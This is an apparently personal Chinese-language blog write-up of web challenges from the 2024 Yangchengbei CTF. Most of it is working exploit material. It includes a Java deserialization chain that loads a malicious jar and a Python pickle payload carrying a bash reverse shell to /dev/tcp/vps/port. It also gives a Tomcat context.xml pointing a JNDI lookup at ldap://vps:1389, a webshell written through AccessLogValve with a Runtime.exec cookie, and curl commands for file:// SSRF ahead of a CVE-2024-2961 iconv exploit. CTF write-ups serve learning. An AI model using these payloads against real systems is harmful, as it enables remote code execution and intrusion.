2024羊城杯-web

前言

真是一场酣畅淋漓的赤石啊。

还有阴兵凌晨三点上分的,闲鱼py哥闹麻了。直接给我们从第一干到第十去了,笑吸了。

懒得说了,直接来吧。

ezjava

发现getGift这个getter方法可以直接写类加载器:

image-20240830213741544

绕过file也很简单,前面加个:file:/就绕了。

文件上传接口上传一个包含恶意static代码块的jar包,然后用到一个从AliyunCTF2024里学到的比较新的Jackson原生:

EventListenerList#readObject -> JacksonToString2Getter

进到user的getGift后,使用jar:加载恶意类jar:file:templates/evil.jar!/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.eddiemurphy;

import com.fasterxml.jackson.databind.node.POJONode;
//import com.xiinnn.template.ToStringClass;
//import com.xiinnn.tostring2getter.JacksonToString2Getter;
import com.example.ycbjava.bean.User;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.security.ProtectionDomain;
import java.util.Base64;
import java.util.Vector;
import java.sql.Driver;

// EventListenerList#readObject -> toString
public class Exp {
public static void main(String[] args) throws Exception{
// ToStringClass toStringClass = new ToStringClass();
User user = new User();
user.username="jar:file:templates/evil.jar!/eval";

//if here you don't use try-catch, the program will throw an exception and execute fail.
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, (ProtectionDomain)null);
} catch (Exception var11) {
};

POJONode node = new POJONode(user);
// JacksonToString2Getter jackson = new JacksonToString2Getter();
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(node);
setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
byte[] code = serialize(list);
System.out.println(Base64.getEncoder().encodeToString(code));
// unserialize(code);
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception{
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e){
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static void unserialize(byte[] code) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(code);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}

文件上传处传入恶意jar,然后打/user/ser路由反序列化直接添加classloader,反弹shell交了。

Lyrics For You

打烂的题。

pickle反序列化,手搓个opcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests

from config.secret_key import secret_code

from cookie import set_cookie, cookie_check, get_cookie,cookie_encode,cookie_encode_raw

url = "http://139.155.126.78:32301/" #lyrics?lyrics=/usr/etc/app/app.py"

# url = "http://127.0.0.1:5000/" #lyrics?lyrics=/usr/etc/app/app.py"


res = {"username": "testtest"}

data = b'''(S'user'
(S'username'
S'admin'
dt.'''

data = b'''(S'user'
(S'username'
(S'os'
S'system'
\x93S"bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'"
odt.'''
# a = set_cookie(, res, secret=secret_code)
# a= cookie_encode(("user", res), secret_code)
a= cookie_encode_raw(data, secret_code)
print(a)

re = requests.get(url+"/board",cookies={
"user":a.decode()
})
print(re.text)

tomtom2

有点好玩的题,但是非预期也蛮多……

给了一个登录路由,读xml的路径,web.xml给ban了。首先读到账密登录,里面又是文件上传,只能传xml。

这道可以覆盖/opt/tomcat/myapp/WEB-INF/web.xml,但覆盖不了conf目录下的web.xml。

所以第一题我们直接覆盖tomcat-web.xml,让xml解析成jsp。

上传jsp木马就完事了。过程就偷懒不写了。

tomtom2_revenge

web.xml彻底ban了,不能套用方法让xml解析成jsp了。通过tomtom2读源码,分析发现tomcat有h2的lib。

所以我们考虑打jndi到h2的getter。

上传路径为/opt/tomcat/conf/,直接覆盖该目录下的context.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<!-- The contents of this file will be loaded for each web application -->
<Context>

<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--
<Manager pathname="" />
-->
<Manager className="com.sun.rowset.JdbcRowSetImpl"
dataSourceName="ldap://vps:1389/TomcatJDBC/H2/Java/ReverseShell/vps/port"
autoCommit="true"></Manager>
</Context>

但问了其他队交流了下,这道题还有个非预期是覆盖META-INF/context.xml,利用org.apache.catalina.valves.AccessLogValve

上传路径为./META-INF,传入:

1
2
3
4
5
6
7
8
<Context>
<Value className="org.apache.catalina.valves.AccessLogValve"
directory="/opt/tomcat/webapps/myapp/"
prefix="shell"
suffix=".jsp"
pattern="%{Cookie}i"
resolveHosts="false"/>
</Context>

然后带一个恶意cookie访问/myapp:

1
Cookie: ${Runtime.getRuntime().exec(param.cmd)}

然后就可以访问shell.2024-08-27.jsp,(后缀生成时间即当天)内存马就注入了,参数为cmd,确实高手。

网络照相馆

打SSRF的东西,file://伪协议可读文件:

image-20240827224400557

image-20240827224416038

image-20240827224431698

hash_file处存在sql注入,而且因为这是php8打不了phar,很自然想到CVE-2024-2961那个iconv的洞。

先使用file伪协议读取maps和libc:

1
2
curl "http://139.155.126.78:32411/url.php" -d "url=file://127.0.0.1/proc/self/maps" -o maps
curl "http://139.155.126.78:32411/url.php" -d "url=file://127.0.0.1/lib/x86_64-linux-gnu/libc-2.31.so" -o lic.so

然后从sql注入处打改良的iconv-payload:

image-20240827224653523

反弹不了shell,可能是命令问题,所以直接写入一句话木马,直接交了:

image-20240827224724342

image-20240827224731151

后记

比赛当天真的累得跟个狗似的,从早上9点一直打到凌晨2点,还不敢睡觉,三点就被偷家了。

我的评价是不会办比赛就不要办。喜欢搞24小时赛制,还没有py检测机制,flag都是静态flag,完全成py大赛了,这就是ycb。

既来之则安之,我倒要看看9月11号线下都是些啥妖魔鬼怪。

以上。


2024羊城杯-web
https://eddiemurphy89.github.io/2024/08/30/2024羊城杯-web/
作者
EddieMurphy
发布于
2024年8月30日
许可协议